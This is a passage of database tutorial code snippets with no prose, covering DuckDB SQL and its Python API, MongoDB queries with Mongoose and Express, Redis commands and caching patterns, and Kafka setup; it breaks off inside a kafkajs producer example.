CREATE INDEX idx_users_email ON users(email);

-- Drop index
DROP INDEX idx_users_email;

-- Show indexes
PRAGMA show_index('users');

-- Begin transaction
BEGIN TRANSACTION;

INSERT INTO users (username, email) VALUES ('test', 'test@example.com');
UPDATE accounts SET balance = balance - 100 WHERE id = 1;

-- Commit
COMMIT;

-- Rollback
ROLLBACK;

-- Create view
CREATE VIEW active_users AS
SELECT id, username, email
FROM users
WHERE active = true;

-- Use view
SELECT * FROM active_users;

-- Drop view
DROP VIEW active_users;

-- Analyze query plan
EXPLAIN SELECT * FROM users WHERE username = 'john';
EXPLAIN ANALYZE SELECT * FROM users JOIN orders ON users.id = orders.user_id;

-- Vacuum and analyze
VACUUM;
ANALYZE users;

-- Parallel query execution (automatic)
SET threads TO 4;

-- Memory limit
SET memory_limit = '4GB';

-- Temp directory
SET temp_directory = '/path/to/temp';

-- Show settings
SELECT * FROM duckdb_settings();

-- Set configuration
SET memory_limit = '8GB';
SET threads TO 8;
SET max_memory = '16GB';
SET temp_directory = '/tmp';

-- Progress bar
SET enable_progress_bar = true;

-- Profiling
SET enable_profiling = true;
SET profiling_mode = 'detailed';

-- Attach SQLite database
ATTACH 'mydb.sqlite' AS sqlite_db (TYPE SQLITE);
SELECT * FROM sqlite_db.users;

-- Attach PostgreSQL
ATTACH 'dbname=mydb user=postgres host=localhost' AS pg_db (TYPE POSTGRES);
SELECT * FROM pg_db.users;

-- Copy data
CREATE TABLE local_users AS
SELECT * FROM pg_db.users;

-- Detach
DETACH sqlite_db;

import duckdb
import pandas as pd

# Create connection
con = duckdb.connect('mydb.duckdb')

# Query to DataFrame
df = con.execute("SELECT * FROM users").df()

# Register DataFrame as table
con.register('df_users', df)
result = con.execute("SELECT * FROM df_users WHERE age > 30").df()

# Direct query on DataFrame
result = duckdb.query("SELECT * FROM df WHERE column_a > 10").df()

# Arrow integration
import pyarrow as pa
arrow_table = con.execute("SELECT * FROM users").arrow()

# Register Arrow table
con.register('arrow_users', arrow_table)

# Relation API
rel = con.table('users')
result = rel.filter('age > 30').project('username, email').df()

# Close
con.close()

# Meta-commands
.help              # Show help
.tables            # List tables
.schema            # Show all schemas
.schema users      # Show table schema
.mode              # Show output mode
.mode csv          # Set CSV output
.mode json         # Set JSON output
.mode markdown     # Set Markdown output
.output file.csv   # Output to file
.timer on          # Show query timing
.maxrows 100       # Limit output rows
.quit              # Exit

-- 1. Use columnar storage (Parquet) for large datasets
COPY large_table TO 'data.parquet' (FORMAT PARQUET);

-- 2. Leverage parallel execution
SET threads TO 8;

-- 3. Use appropriate data types
CREATE TABLE optimized (
    id INTEGER,
    name VARCHAR,
    value DOUBLE,
    date DATE
);

-- 4. Create indexes for frequently filtered columns
CREATE INDEX idx_users_email ON users(email);

-- 5. Use window functions instead of self-joins
SELECT username, LAG(score) OVER (ORDER BY date) AS prev_score
FROM scores;

-- 6. Partition large queries
SELECT * FROM large_table
WHERE date >= '2024-01-01' AND date < '2024-02-01';

-- 7. Use CTEs for readability
WITH filtered AS (SELECT * FROM users WHERE active = true)
SELECT * FROM filtered;

-- 8. Analyze queries for optimization
EXPLAIN ANALYZE SELECT * FROM complex_query;

-- 9. Read directly from files when possible
SELECT * FROM 'data.parquet' WHERE column > 100;

-- 10. Use appropriate compression
COPY data TO 'compressed.parquet' (FORMAT PARQUET, COMPRESSION ZSTD);

// Insert
db.users.insertOne({ name: "John", age: 30, email: "john@example.com" });

// Find
db.users.findOne({ name: "John" });
db.users.find({ age: { $gt: 25 } });

// Update
db.users.updateOne({ _id: ObjectId("...") }, { $set: { age: 31 } });

// Delete
db.users.deleteOne({ name: "John" });

// Aggregation
db.users.aggregate([
  { $match: { age: { $gt: 25 } } },
  { $group: { _id: "$city", count: { $sum: 1 } } },
  { $sort: { count: -1 } }
]);

# Strings
SET key value
GET key
INCR counter

# Lists
LPUSH mylist "a" "b" "c"
LPOP mylist
LRANGE mylist 0 -1

# Sets
SADD myset "a" "b" "c"
SMEMBERS myset

# Hashes
HSET user:1 name "John" age 30
HGET user:1 name
HGETALL user:1

# Expiration
EXPIRE key 3600  # 1 hour TTL

-- Wide, denormalized columns
CREATE TABLE users (
  user_id UUID PRIMARY KEY,
  name TEXT,
  email TEXT,
  created_at TIMESTAMP,
  metadata MAP<TEXT, TEXT>
);

// Create
CREATE (n:Person {name: "John", age: 30})
CREATE (m:Company {name: "Acme"})
CREATE (n)-[:WORKS_AT]->(m)

// Query
MATCH (p:Person)-[:WORKS_AT]->(c:Company)
WHERE p.age > 25
RETURN p.name, c.name

// Find friends
MATCH (p:Person {name: "John"})-[:FRIEND*1..2]-(friend)
RETURN friend.name

# Denormalization (NoSQL style)
# One document with all info
{
  "_id": "user_1",
  "name": "John",
  "orders": [
    { "id": "order_1", "amount": 100 },
    { "id": "order_2", "amount": 200 }
  ]
}

# vs SQL (normalization)
# users table + orders table + JOIN

brew tap mongodb/brew
brew install mongodb-community
brew services start mongodb-community

wget -qO - https://www.mongodb.org/static/pgp/server-6.0.asc | sudo apt-key add -
echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/6.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-6.0.list
sudo apt-get update
sudo apt-get install -y mongodb-org
sudo systemctl start mongod

docker run -d -p 27017:27017 --name mongodb mongo:latest

# Connect to MongoDB
mongosh

# Show databases
show dbs

# Use/create database
use mydb

# Show collections
show collections

# Exit
exit

// Insert one document
db.users.insertOne({
  name: "John Doe",
  email: "john@example.com",
  age: 30,
  createdAt: new Date()
})

// Insert multiple documents
db.users.insertMany([
  { name: "Jane Smith", email: "jane@example.com", age: 28 },
  { name: "Bob Johnson", email: "bob@example.com", age: 35 }
])

// Find all documents
db.users.find()

// Find with filter
db.users.find({ age: { $gte: 30 } })

// Find one document
db.users.findOne({ email: "john@example.com" })

// Projection (select specific fields)
db.users.find({}, { name: 1, email: 1, _id: 0 })

// Limit and sort
db.users.find().limit(10).sort({ age: -1 })

// Count documents
db.users.countDocuments({ age: { $gte: 30 } })

// Update one document
db.users.updateOne(
  { email: "john@example.com" },
  { $set: { age: 31, updatedAt: new Date() } }
)

// Update multiple documents
db.users.updateMany(
  { age: { $lt: 30 } },
  { $set: { status: "young" } }
)

// Replace document
db.users.replaceOne(
  { email: "john@example.com" },
  { name: "John Doe", email: "john@example.com", age: 31 }
)

// Upsert (update or insert)
db.users.updateOne(
  { email: "new@example.com" },
  { $set: { name: "New User", age: 25 } },
  { upsert: true }
)

// Increment field
db.users.updateOne(
  { email: "john@example.com" },
  { $inc: { loginCount: 1 } }
)

// Add to array
db.users.updateOne(
  { email: "john@example.com" },
  { $push: { hobbies: "reading" } }
)

// Delete one document
db.users.deleteOne({ email: "john@example.com" })

// Delete multiple documents
db.users.deleteMany({ age: { $lt: 18 } })

// Delete all documents
db.users.deleteMany({})

// User with embedded address
db.users.insertOne({
  name: "John Doe",
  email: "john@example.com",
  address: {
    street: "123 Main St",
    city: "New York",
    state: "NY",
    zip: "10001"
  },
  phoneNumbers: [
    { type: "home", number: "555-1234" },
    { type: "work", number: "555-5678" }
  ]
})

// Posts collection
db.posts.insertOne({
  title: "My First Post",
  content: "This is my first blog post",
  authorId: ObjectId("user_id_here"),
  comments: [
    {
      userId: ObjectId("commenter_id"),
      text: "Great post!",
      createdAt: new Date()
    }
  ]
})

// Query with lookup
db.posts.aggregate([
  {
    $lookup: {
      from: "users",
      localField: "authorId",
      foreignField: "_id",
      as: "author"
    }
  }
])

// One-to-One (Embedded)
{
  _id: ObjectId(),
  username: "john_doe",
  profile: {
    firstName: "John",
    lastName: "Doe",
    bio: "Software developer"
  }
}

// One-to-Many (Embedded - for small arrays)
{
  _id: ObjectId(),
  title: "Blog Post",
  tags: ["mongodb", "database", "nosql"]
}

// One-to-Many (Referenced - for large collections)
{
  _id: ObjectId(),
  name: "Category",
  products: [
    ObjectId("product_1"),
    ObjectId("product_2")
  ]
}

// Many-to-Many
// Users collection
{
  _id: ObjectId("user_1"),
  name: "John",
  courseIds: [ObjectId("course_1"), ObjectId("course_2")]
}

// Courses collection
{
  _id: ObjectId("course_1"),
  title: "MongoDB Course",
  studentIds: [ObjectId("user_1"), ObjectId("user_2")]
}

// Comparison operators
db.users.find({ age: { $eq: 30 } })      // Equal
db.users.find({ age: { $ne: 30 } })      // Not equal
db.users.find({ age: { $gt: 30 } })      // Greater than
db.users.find({ age: { $gte: 30 } })     // Greater than or equal
db.users.find({ age: { $lt: 30 } })      // Less than
db.users.find({ age: { $lte: 30 } })     // Less than or equal
db.users.find({ age: { $in: [25, 30, 35] } })  // In array
db.users.find({ age: { $nin: [25, 30] } })     // Not in array

// Logical operators
db.users.find({
  $and: [
    { age: { $gte: 25 } },
    { age: { $lte: 35 } }
  ]
})

db.users.find({
  $or: [
    { age: { $lt: 25 } },
    { age: { $gt: 35 } }
  ]
})

db.users.find({ age: { $not: { $gte: 30 } } })

// Element operators
db.users.find({ email: { $exists: true } })
db.users.find({ age: { $type: "number" } })

// Array operators
db.users.find({ hobbies: { $all: ["reading", "gaming"] } })
db.users.find({ hobbies: { $size: 3 } })
db.users.find({ "hobbies.0": "reading" })

// Text search
db.posts.createIndex({ title: "text", content: "text" })
db.posts.find({ $text: { $search: "mongodb tutorial" } })

// Basic aggregation
db.orders.aggregate([
  // Match stage (filter)
  { $match: { status: "completed" } },

  // Group stage
  {
    $group: {
      _id: "$customerId",
      totalSpent: { $sum: "$amount" },
      orderCount: { $sum: 1 },
      avgOrderAmount: { $avg: "$amount" }
    }
  },

  // Sort stage
  { $sort: { totalSpent: -1 } },

  // Limit stage
  { $limit: 10 }
])

// Complex aggregation with lookup
db.orders.aggregate([
  // Join with users collection
  {
    $lookup: {
      from: "users",
      localField: "userId",
      foreignField: "_id",
      as: "user"
    }
  },

  // Unwind array
  { $unwind: "$user" },

  // Project (reshape documents)
  {
    $project: {
      orderNumber: 1,
      amount: 1,
      userName: "$user.name",
      userEmail: "$user.email"
    }
  }
])

// Aggregation operators
db.sales.aggregate([
  {
    $group: {
      _id: "$category",
      total: { $sum: "$amount" },
      avg: { $avg: "$amount" },
      min: { $min: "$amount" },
      max: { $max: "$amount" },
      count: { $sum: 1 },
      items: { $push: "$productName" },
      first: { $first: "$date" },
      last: { $last: "$date" }
    }
  }
])

// Single field index
db.users.createIndex({ email: 1 })

// Compound index
db.users.createIndex({ lastName: 1, firstName: 1 })

// Unique index
db.users.createIndex({ email: 1 }, { unique: true })

// Text index
db.posts.createIndex({ title: "text", content: "text" })

// 2dsphere index (geospatial)
db.locations.createIndex({ coordinates: "2dsphere" })

// TTL index (auto-delete after time)
db.sessions.createIndex(
  { createdAt: 1 },
  { expireAfterSeconds: 3600 }
)

// Partial index
db.orders.createIndex(
  { status: 1 },
  { partialFilterExpression: { status: "active" } }
)

// Sparse index
db.users.createIndex(
  { phoneNumber: 1 },
  { sparse: true }
)

// List indexes
db.users.getIndexes()

// Drop index
db.users.dropIndex("email_1")

// Drop all indexes
db.users.dropIndexes()

// Explain query (check index usage)
db.users.find({ email: "john@example.com" }).explain("executionStats")

npm install mongodb
# or
npm install mongoose

const { MongoClient } = require('mongodb');

const url = 'mongodb://localhost:27017';
const client = new MongoClient(url);

async function main() {
  await client.connect();
  console.log('Connected to MongoDB');

  const db = client.db('mydb');
  const users = db.collection('users');

  // Insert
  const result = await users.insertOne({
    name: 'John Doe',
    email: 'john@example.com',
    age: 30
  });
  console.log('Inserted:', result.insertedId);

  // Find
  const user = await users.findOne({ email: 'john@example.com' });
  console.log('Found:', user);

  // Update
  await users.updateOne(
    { email: 'john@example.com' },
    { $set: { age: 31 } }
  );

  // Delete
  await users.deleteOne({ email: 'john@example.com' });

  await client.close();
}

main().catch(console.error);

const mongoose = require('mongoose');

// Connect
mongoose.connect('mongodb://localhost:27017/mydb', {
  useNewUrlParser: true,
  useUnifiedTopology: true
});

// Define schema
const userSchema = new mongoose.Schema({
  name: { type: String, required: true },
  email: { type: String, required: true, unique: true },
  age: { type: Number, min: 0, max: 120 },
  createdAt: { type: Date, default: Date.now },
  address: {
    street: String,
    city: String,
    state: String,
    zip: String
  },
  hobbies: [String],
  status: {
    type: String,
    enum: ['active', 'inactive', 'banned'],
    default: 'active'
  }
});

// Instance methods
userSchema.methods.getFullInfo = function() {
  return `${this.name} (${this.email})`;
};

// Static methods
userSchema.statics.findByEmail = function(email) {
  return this.findOne({ email });
};

// Virtuals
userSchema.virtual('isAdult').get(function() {
  return this.age >= 18;
});

// Middleware
userSchema.pre('save', function(next) {
  console.log('About to save user:', this.name);
  next();
});

// Create model
const User = mongoose.model('User', userSchema);

// CRUD operations
async function examples() {
  // Create
  const user = new User({
    name: 'John Doe',
    email: 'john@example.com',
    age: 30,
    hobbies: ['reading', 'coding']
  });
  await user.save();

  // Find
  const users = await User.find({ age: { $gte: 25 } });
  const john = await User.findByEmail('john@example.com');

  // Update
  await User.updateOne({ email: 'john@example.com' }, { age: 31 });
  // or
  john.age = 31;
  await john.save();

  // Delete
  await User.deleteOne({ email: 'john@example.com' });

  // Populate (references)
  const postSchema = new mongoose.Schema({
    title: String,
    author: { type: mongoose.Schema.Types.ObjectId, ref: 'User' }
  });
  const Post = mongoose.model('Post', postSchema);

  const posts = await Post.find().populate('author');
}

const express = require('express');
const mongoose = require('mongoose');

const app = express();
app.use(express.json());

// Connect to MongoDB
mongoose.connect('mongodb://localhost:27017/mydb');

// User model
const User = mongoose.model('User', new mongoose.Schema({
  name: { type: String, required: true },
  email: { type: String, required: true, unique: true },
  age: Number
}));

// Routes
app.get('/users', async (req, res) => {
  try {
    const users = await User.find();
    res.json(users);
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

app.get('/users/:id', async (req, res) => {
  try {
    const user = await User.findById(req.params.id);
    if (!user) return res.status(404).json({ error: 'User not found' });
    res.json(user);
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

app.post('/users', async (req, res) => {
  try {
    const user = new User(req.body);
    await user.save();
    res.status(201).json(user);
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

app.put('/users/:id', async (req, res) => {
  try {
    const user = await User.findByIdAndUpdate(
      req.params.id,
      req.body,
      { new: true, runValidators: true }
    );
    if (!user) return res.status(404).json({ error: 'User not found' });
    res.json(user);
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

app.delete('/users/:id', async (req, res) => {
  try {
    const user = await User.findByIdAndDelete(req.params.id);
    if (!user) return res.status(404).json({ error: 'User not found' });
    res.json({ message: 'User deleted' });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

app.listen(3000, () => console.log('Server running on port 3000'));

// Embed related data when:
// - Data is frequently accessed together
// - Data doesn't change often
// - Array size is bounded

// Reference when:
// - Data is frequently accessed separately
// - Data changes frequently
// - Array size is unbounded

// Index fields used in queries
db.users.createIndex({ email: 1 })

// Compound indexes for multi-field queries
db.users.createIndex({ status: 1, createdAt: -1 })

// Monitor index usage
db.users.aggregate([{ $indexStats: {} }])

// Mongoose validation
const userSchema = new mongoose.Schema({
  email: {
    type: String,
    required: true,
    validate: {
      validator: function(v) {
        return /^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$/.test(v);
      },
      message: props => `${props.value} is not a valid email!`
    }
  },
  age: {
    type: Number,
    min: [0, 'Age must be positive'],
    max: [120, 'Age seems unrealistic']
  }
});

try {
  await User.create({ email: 'invalid' });
} catch (error) {
  if (error.name === 'ValidationError') {
    // Handle validation error
  } else if (error.code === 11000) {
    // Handle duplicate key error
  }
}

const session = await mongoose.startSession();
session.startTransaction();

try {
  await User.create([{ name: 'John' }], { session });
  await Post.create([{ title: 'First Post' }], { session });

  await session.commitTransaction();
} catch (error) {
  await session.abortTransaction();
  throw error;
} finally {
  session.endSession();
}

// Use projection
db.users.find({}, { name: 1, email: 1 })

// Use covered queries (query uses only indexed fields)
db.users.createIndex({ email: 1, name: 1 })
db.users.find({ email: 'john@example.com' }, { email: 1, name: 1, _id: 0 })

// Limit results
db.users.find().limit(10)

// Use lean() in Mongoose (skip hydration)
const users = await User.find().lean()

const mongoose = require('mongoose');

mongoose.connect('mongodb://localhost:27017/mydb', {
  maxPoolSize: 10,
  minPoolSize: 5
});

// Bulk insert
db.users.insertMany([
  { name: 'User 1' },
  { name: 'User 2' },
  { name: 'User 3' }
], { ordered: false })

// Bulk write
db.users.bulkWrite([
  { insertOne: { document: { name: 'John' } } },
  { updateOne: { filter: { name: 'Jane' }, update: { $set: { age: 30 } } } },
  { deleteOne: { filter: { name: 'Bob' } } }
])

const Redis = require('redis');
const redis = Redis.createClient();

async function getUser(id) {
  // Check cache first
  const cached = await redis.get(`user:${id}`);
  if (cached) return JSON.parse(cached);

  // Query database
  const user = await User.findById(id);

  // Store in cache
  await redis.setex(`user:${id}`, 3600, JSON.stringify(user));

  return user;
}

brew install redis
brew services start redis

sudo apt update
sudo apt install redis-server
sudo systemctl start redis-server

docker run -d -p 6379:6379 --name redis redis:latest

# Connect to Redis
redis-cli

# Test connection
127.0.0.1:6379> PING
PONG

# Select database (0-15)
127.0.0.1:6379> SELECT 1

# Get all keys
127.0.0.1:6379> KEYS *

# Clear database
127.0.0.1:6379> FLUSHDB

# Clear all databases
127.0.0.1:6379> FLUSHALL

# Set and get
SET name "John Doe"
GET name

# Set with expiration (seconds)
SETEX session:123 3600 "user_data"

# Set if not exists
SETNX key "value"

# Multiple set/get
MSET key1 "value1" key2 "value2"
MGET key1 key2

# Increment/decrement
SET counter 10
INCR counter        # 11
INCRBY counter 5    # 16
DECR counter        # 15
DECRBY counter 3    # 12

# Append
APPEND key "more_data"

# Get length
STRLEN key

# Set hash field
HSET user:1 name "John" age 30 email "john@example.com"

# Get hash field
HGET user:1 name

# Get all fields
HGETALL user:1

# Get multiple fields
HMGET user:1 name email

# Check if field exists
HEXISTS user:1 name

# Delete field
HDEL user:1 age

# Get all keys/values
HKEYS user:1
HVALS user:1

# Increment hash field
HINCRBY user:1 loginCount 1

# Push to list
LPUSH mylist "first"    # Push to left
RPUSH mylist "last"     # Push to right

# Pop from list
LPOP mylist             # Pop from left
RPOP mylist             # Pop from right

# Get range
LRANGE mylist 0 -1      # Get all
LRANGE mylist 0 9       # Get first 10

# Get by index
LINDEX mylist 0

# List length
LLEN mylist

# Trim list
LTRIM mylist 0 99       # Keep first 100 items

# Blocking pop (for queues)
BLPOP mylist 0          # Block until item available

# Add members
SADD myset "member1" "member2" "member3"

# Get all members
SMEMBERS myset

# Check membership
SISMEMBER myset "member1"

# Remove member
SREM myset "member1"

# Set operations
SUNION set1 set2        # Union
SINTER set1 set2        # Intersection
SDIFF set1 set2         # Difference

# Random member
SRANDMEMBER myset
SPOP myset              # Pop random member

# Set size
SCARD myset

# Add members with scores
ZADD leaderboard 100 "player1" 200 "player2" 150 "player3"

# Get range by rank
ZRANGE leaderboard 0 9           # Top 10 (ascending)
ZREVRANGE leaderboard 0 9        # Top 10 (descending)

# Get range with scores
ZRANGE leaderboard 0 9 WITHSCORES

# Get rank
ZRANK leaderboard "player1"      # Ascending rank
ZREVRANK leaderboard "player1"   # Descending rank

# Get score
ZSCORE leaderboard "player1"

# Increment score
ZINCRBY leaderboard 50 "player1"

# Range by score
ZRANGEBYSCORE leaderboard 100 200

# Count in range
ZCOUNT leaderboard 100 200

# Remove member
ZREM leaderboard "player1"

# Set expiration
EXPIRE key 60           # Expire in 60 seconds
EXPIREAT key 1609459200 # Expire at timestamp
TTL key                 # Get time to live
PERSIST key             # Remove expiration

# Delete keys
DEL key1 key2 key3

# Check if key exists
EXISTS key

# Get key type
TYPE key

# Rename key
RENAME oldkey newkey
RENAMENX oldkey newkey  # Rename if new key doesn't exist

# Get all keys matching pattern
KEYS user:*
SCAN 0 MATCH user:* COUNT 10  # Better for production

MULTI
SET key1 "value1"
SET key2 "value2"
INCR counter
EXEC

# With watch (optimistic locking)
WATCH key
MULTI
SET key "new_value"
EXEC

async function getUser(id) {
  const cacheKey = `user:${id}`;

  // Try cache first
  let user = await redis.get(cacheKey);

  if (user) {
    return JSON.parse(user);
  }

  // Cache miss - load from database
  user = await db.users.findById(id);

  // Store in cache
  await redis.setex(cacheKey, 3600, JSON.stringify(user));

  return user;
}

async function updateUser(id, data) {
  const cacheKey = `user:${id}`;

  // Update database
  const user = await db.users.updateById(id, data);

  // Update cache
  await redis.setex(cacheKey, 3600, JSON.stringify(user));

  return user;
}

async function updateUser(id, data) {
  const cacheKey = `user:${id}`;

  // Update cache immediately
  await redis.setex(cacheKey, 3600, JSON.stringify(data));

  // Queue database write
  await redis.lpush('user:updates', JSON.stringify({ id, data }));

  return data;
}

// Background worker
async function processUpdates() {
  while (true) {
    const update = await redis.brpop('user:updates', 0);
    if (update) {
      const { id, data } = JSON.parse(update[1]);
      await db.users.updateById(id, data);
    }
  }
}

const redis = require('redis');

// Publisher
const publisher = redis.createClient();

publisher.publish('news', 'Breaking news!');

// Subscriber
const subscriber = redis.createClient();

subscriber.subscribe('news');

subscriber.on('message', (channel, message) => {
  console.log(`Received from ${channel}: ${message}`);
});

// Pattern subscribe
subscriber.psubscribe('user:*');

subscriber.on('pmessage', (pattern, channel, message) => {
  console.log(`Pattern ${pattern}, Channel ${channel}: ${message}`);
});

const express = require('express');
const http = require('http');
const socketIo = require('socket.io');
const redis = require('redis');

const app = express();
const server = http.createServer(app);
const io = socketIo(server);

const publisher = redis.createClient();
const subscriber = redis.createClient();

subscriber.subscribe('chat:messages');

// Handle Redis messages
subscriber.on('message', (channel, message) => {
  if (channel === 'chat:messages') {
    io.emit('message', JSON.parse(message));
  }
});

// Handle WebSocket connections
io.on('connection', (socket) => {
  console.log('User connected');

  socket.on('message', (msg) => {
    const message = {
      user: socket.id,
      text: msg,
      timestamp: Date.now()
    };

    // Publish to Redis
    publisher.publish('chat:messages', JSON.stringify(message));

    // Store in list
    redis.lpush('chat:history', JSON.stringify(message));
    redis.ltrim('chat:history', 0, 99); // Keep last 100 messages
  });

  socket.on('disconnect', () => {
    console.log('User disconnected');
  });
});

server.listen(3000);

npm install redis

const redis = require('redis');

const client = redis.createClient({
  url: 'redis://localhost:6379'
});

client.on('error', (err) => console.error('Redis error:', err));
client.on('connect', () => console.log('Connected to Redis'));

await client.connect();

// String operations
await client.set('key', 'value');
const value = await client.get('key');

// Hash operations
await client.hSet('user:1', 'name', 'John');
await client.hSet('user:1', 'age', '30');
const user = await client.hGetAll('user:1');

// List operations
await client.lPush('mylist', 'item1');
await client.rPush('mylist', 'item2');
const items = await client.lRange('mylist', 0, -1);

// Set operations
await client.sAdd('myset', 'member1');
await client.sAdd('myset', 'member2');
const members = await client.sMembers('myset');

// Sorted set operations
await client.zAdd('leaderboard', { score: 100, value: 'player1' });
const top = await client.zRange('leaderboard', 0, 9, { REV: true });

await client.disconnect();

const redis = require('redis');
const client = redis.createClient();

await client.connect();

function cache(duration) {
  return async (req, res, next) => {
    const key = `cache:${req.originalUrl}`;

    try {
      const cachedResponse = await client.get(key);

      if (cachedResponse) {
        return res.json(JSON.parse(cachedResponse));
      }

      // Modify res.json to cache response
      const originalJson = res.json.bind(res);

      res.json = (body) => {
        client.setex(key, duration, JSON.stringify(body));
        return originalJson(body);
      };

      next();
    } catch (error) {
      next();
    }
  };
}

// Usage
app.get('/api/users', cache(300), async (req, res) => {
  const users = await db.users.findAll();
  res.json(users);
});

const session = require('express-session');
const RedisStore = require('connect-redis').default;
const redis = require('redis');

const redisClient = redis.createClient();
await redisClient.connect();

app.use(
  session({
    store: new RedisStore({ client: redisClient }),
    secret: 'your-secret',
    resave: false,
    saveUninitialized: false,
    cookie: {
      secure: false, // Set true for HTTPS
      httpOnly: true,
      maxAge: 1000 * 60 * 60 * 24 // 1 day
    }
  })
);

app.get('/', (req, res) => {
  if (req.session.views) {
    req.session.views++;
  } else {
    req.session.views = 1;
  }
  res.send(`Views: ${req.session.views}`);
});

async function rateLimiter(userId, maxRequests = 10, windowSeconds = 60) {
  const key = `rate_limit:${userId}`;
  const current = await client.incr(key);

  if (current === 1) {
    await client.expire(key, windowSeconds);
  }

  if (current > maxRequests) {
    const ttl = await client.ttl(key);
    throw new Error(`Rate limit exceeded. Try again in ${ttl} seconds`);
  }

  return {
    remaining: maxRequests - current,
    reset: windowSeconds
  };
}

// Middleware
async function rateLimitMiddleware(req, res, next) {
  const userId = req.user?.id || req.ip;

  try {
    const result = await rateLimiter(userId);
    res.set('X-RateLimit-Remaining', result.remaining);
    res.set('X-RateLimit-Reset', result.reset);
    next();
  } catch (error) {
    res.status(429).json({ error: error.message });
  }
}

app.use(rateLimitMiddleware);

async function acquireLock(lockKey, timeout = 10000) {
  const lockValue = Math.random().toString(36);
  const result = await client.set(lockKey, lockValue, {
    NX: true,
    PX: timeout
  });

  if (result === 'OK') {
    return lockValue;
  }

  return null;
}

async function releaseLock(lockKey, lockValue) {
  const script = `
    if redis.call("get", KEYS[1]) == ARGV[1] then
      return redis.call("del", KEYS[1])
    else
      return 0
    end
  `;

  return await client.eval(script, {
    keys: [lockKey],
    arguments: [lockValue]
  });
}

// Usage
async function criticalSection() {
  const lock = await acquireLock('resource:lock');

  if (!lock) {
    throw new Error('Could not acquire lock');
  }

  try {
    // Perform critical operation
    await performOperation();
  } finally {
    await releaseLock('resource:lock', lock);
  }
}

# Use descriptive, hierarchical names
user:1:profile
user:1:sessions
order:12345:items

# Use consistent separators
user:1:profile  # Colon-separated
user_1_profile  # Underscore-separated

# Include type in key name
string:user:1:name
hash:user:1
list:user:1:notifications

// Always set TTL for cache keys
await client.setex('cache:key', 3600, 'value');

// Use appropriate expiration times
const MINUTE = 60;
const HOUR = 60 * MINUTE;
const DAY = 24 * HOUR;

await client.setex('session:123', 30 * MINUTE, data);
await client.setex('cache:user:1', 1 * HOUR, data);
await client.setex('temp:verification', 10 * MINUTE, code);

const pipeline = client.multi();

pipeline.set('key1', 'value1');
pipeline.set('key2', 'value2');
pipeline.incr('counter');
pipeline.hSet('user:1', 'name', 'John');

const results = await pipeline.exec();

const client = redis.createClient({
  url: 'redis://localhost:6379',
  socket: {
    reconnectStrategy: (retries) => {
      if (retries > 10) {
        return new Error('Max retries reached');
      }
      return retries * 100;
    }
  }
});

client.on('error', (err) => {
  console.error('Redis error:', err);
});

client.on('reconnecting', () => {
  console.log('Reconnecting to Redis...');
});

client.on('ready', () => {
  console.log('Redis is ready');
});

// Set maxmemory and eviction policy in redis.conf
// maxmemory 256mb
// maxmemory-policy allkeys-lru

// Monitor memory usage
const info = await client.info('memory');
console.log(info);

// Use SCAN instead of KEYS
let cursor = 0;
do {
  const result = await client.scan(cursor, {
    MATCH: 'user:*',
    COUNT: 100
  });
  cursor = result.cursor;
  const keys = result.keys;
  // Process keys
} while (cursor !== 0);

# redis.conf
save 900 1      # Save if 1 key changed in 15 minutes
save 300 10     # Save if 10 keys changed in 5 minutes
save 60 10000   # Save if 10000 keys changed in 1 minute

dbfilename dump.rdb
dir /var/lib/redis

# redis.conf
appendonly yes
appendfilename "appendonly.aof"

# Sync strategy
appendfsync always      # Slowest, safest
appendfsync everysec   # Good balance (recommended)
appendfsync no         # Fastest, least safe

# On replica
redis-cli
> REPLICAOF master-host 6379

# Check replication status
> INFO replication

// Monitor commands
client.monitor((err, res) => {
  console.log(res);
});

// Get stats
const info = await client.info();
console.log(info);

// Slow log
const slowlog = await client.slowlog('GET', 10);
console.log(slowlog);

version: '3'
services:
  zookeeper:
    image: confluentinc/cp-zookeeper:latest
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181
      ZOOKEEPER_TICK_TIME: 2000

  kafka:
    image: confluentinc/cp-kafka:latest
    depends_on:
      - zookeeper
    ports:
      - "9092:9092"
    environment:
      KAFKA_BROKER_ID: 1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://localhost:9092
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1

docker-compose up -d

# Create topic
kafka-topics --create \
  --bootstrap-server localhost:9092 \
  --topic my-topic \
  --partitions 3 \
  --replication-factor 1

# List topics
kafka-topics --list --bootstrap-server localhost:9092

# Describe topic
kafka-topics --describe \
  --bootstrap-server localhost:9092 \
  --topic my-topic

# Delete topic
kafka-topics --delete \
  --bootstrap-server localhost:9092 \
  --topic my-topic

# Produce messages
kafka-console-producer \
  --bootstrap-server localhost:9092 \
  --topic my-topic

# Consume messages
kafka-console-consumer \
  --bootstrap-server localhost:9092 \
  --topic my-topic \
  --from-beginning

// Producer sends messages to topics
Message → Producer → Kafka Broker → Topic Partition

{
  'bootstrap.servers': 'localhost:9092',
  'client.id': 'my-producer',
  'acks': 'all',                    // Wait for all replicas
  'compression.type': 'gzip',       // Compress messages
  'max.in.flight.requests.per.connection': 5,
  'retries': 3,                     // Retry failed sends
  'batch.size': 16384,              // Batch size in bytes
  'linger.ms': 10                   // Wait time before sending batch
}

// Consumers read messages from topics
Kafka Broker → Topic Partition → Consumer Group → Consumer

{
  'bootstrap.servers': 'localhost:9092',
  'group.id': 'my-consumer-group',
  'auto.offset.reset': 'earliest',  // Start from beginning if no offset
  'enable.auto.commit': false,      // Manual commit for reliability
  'max.poll.records': 500           // Max records per poll
}

// Good topic naming
user.events
order.created
payment.processed
notification.email.sent

// Partition strategy
// - More partitions = more parallelism
// - But more partitions = more overhead
// Start with: partitions = throughput (MB/s) / partition throughput (MB/s)

// Messages with same key go to same partition
// Ensures ordering for related events
{
  key: 'user:123',        // All events for user 123 in same partition
  value: { ... }
}

npm install kafkajs

const { Kafka } = require('kafkajs');

const kafka = new Kafka({
  clientId: 'my-app',
  brokers: ['localhost:9092']
});

const producer = kafka.producer();

async function sendMessage() {
  await producer.connect();

  // Send single message
